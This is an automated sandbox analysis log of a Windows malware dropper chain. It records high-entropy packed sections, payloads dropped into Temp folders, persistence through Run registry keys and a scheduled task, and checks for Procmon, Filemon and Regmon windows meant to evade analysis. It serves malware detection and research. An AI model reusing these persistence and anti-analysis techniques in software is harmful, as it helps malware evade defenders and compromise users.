Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: gfikdque
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: .taggant
Source: axplong.exe.12.dr	Static PE information: section name:
Source: axplong.exe.12.dr	Static PE information: section name: .idata
Source: axplong.exe.12.dr	Static PE information: section name:
Source: axplong.exe.12.dr	Static PE information: section name: fzmtnikz
Source: axplong.exe.12.dr	Static PE information: section name: dagikpkj
Source: axplong.exe.12.dr	Static PE information: section name: .taggant
Source: random[2].exe.20.dr	Static PE information: section name:
Source: random[2].exe.20.dr	Static PE information: section name: .rsrc
Source: random[2].exe.20.dr	Static PE information: section name: .idata
Source: random[2].exe.20.dr	Static PE information: section name:
Source: random[2].exe.20.dr	Static PE information: section name: iuotgoma
Source: random[2].exe.20.dr	Static PE information: section name: ujumrvwn
Source: random[2].exe.20.dr	Static PE information: section name: .taggant
Source: cc1af330ba.exe.20.dr	Static PE information: section name:
Source: cc1af330ba.exe.20.dr	Static PE information: section name: .rsrc
Source: cc1af330ba.exe.20.dr	Static PE information: section name: .idata
Source: cc1af330ba.exe.20.dr	Static PE information: section name:
Source: cc1af330ba.exe.20.dr	Static PE information: section name: iuotgoma
Source: cc1af330ba.exe.20.dr	Static PE information: section name: ujumrvwn
Source: cc1af330ba.exe.20.dr	Static PE information: section name: .taggant
Source: 69f64d774a.exe.20.dr	Static PE information: section name:
Source: 69f64d774a.exe.20.dr	Static PE information: section name: .idata
Source: 69f64d774a.exe.20.dr	Static PE information: section name: sqhbpttq
Source: 69f64d774a.exe.20.dr	Static PE information: section name: eaurdqdn
Source: 69f64d774a.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB3DB push ecx; ret	0_3_058AB3F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB3DB push ecx; ret	0_3_058AB3F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB3DB push ecx; ret	0_3_058AB3F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AE5D8 push es; retf	0_3_058AE5D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AE5D8 push es; retf	0_3_058AE5D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB94F push ds; retf	0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB94F push ds; retf	0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB94F push ds; retf	0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AA951 push ecx; retf	0_3_058AA95A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AA951 push ecx; retf	0_3_058AA95A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AA951 push ecx; retf	0_3_058AA95A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AAC9F pushad ; iretd	0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AAC9F pushad ; iretd	0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AAC9F pushad ; iretd	0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AC8B2 push eax; retf	0_3_058AC8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AC8B2 push eax; retf	0_3_058AC8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AC8B2 push eax; retf	0_3_058AC8CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AACD8 pushad ; iretd	0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AACD8 pushad ; iretd	0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AACD8 pushad ; iretd	0_3_058AACFB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8CD3 pushfd ; iretd	0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8CD3 pushfd ; iretd	0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8CD3 pushfd ; iretd	0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8408 push ds; retf	0_3_058A843C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8408 push ds; retf	0_3_058A843C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8408 push ds; retf	0_3_058A843C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB842 push ds; retf	0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB842 push ds; retf	0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058AB842 push ds; retf	0_3_058AB92C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8C60 pushfd ; iretd	0_3_058A8CD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_058A8C60 pushfd ; iretd	0_3_058A8CD1

Source: file.exe	Static PE information: section name: entropy: 7.983446708488007
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr	Static PE information: section name: entropy: 7.8018039696071595
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: entropy: 7.982126816973067
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.982126816973067
Source: skotes.exe.4.dr	Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.982439442105867
Source: 9de8348ea3.exe.6.dr	Static PE information: section name: entropy: 7.982439442105867
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.979622704519033
Source: random[1].exe0.6.dr	Static PE information: section name: fzmtnikz entropy: 7.954296374426834
Source: 8301009305.exe.6.dr	Static PE information: section name: entropy: 7.979622704519033
Source: 8301009305.exe.6.dr	Static PE information: section name: fzmtnikz entropy: 7.954296374426834
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.8018039696071595
Source: de057a4668.exe.6.dr	Static PE information: section name: entropy: 7.8018039696071595
Source: 4264524541.exe.6.dr	Static PE information: section name: entropy: 7.8018039696071595
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr	Static PE information: section name: entropy: 7.8018039696071595
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: entropy: 7.982126816973067
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: section name: dqejjcio entropy: 7.952585100366962
Source: axplong.exe.12.dr	Static PE information: section name: entropy: 7.979622704519033
Source: axplong.exe.12.dr	Static PE information: section name: fzmtnikz entropy: 7.954296374426834
Source: random[2].exe.20.dr	Static PE information: section name: iuotgoma entropy: 7.954742797276652
Source: cc1af330ba.exe.20.dr	Static PE information: section name: iuotgoma entropy: 7.954742797276652
Source: 69f64d774a.exe.20.dr	Static PE information: section name: entropy: 7.982439442105867

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002450001\a55050ee6f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\wintoolsone64[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de057a4668.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de057a4668.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de057a4668.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9de8348ea3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run cc1af330ba.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
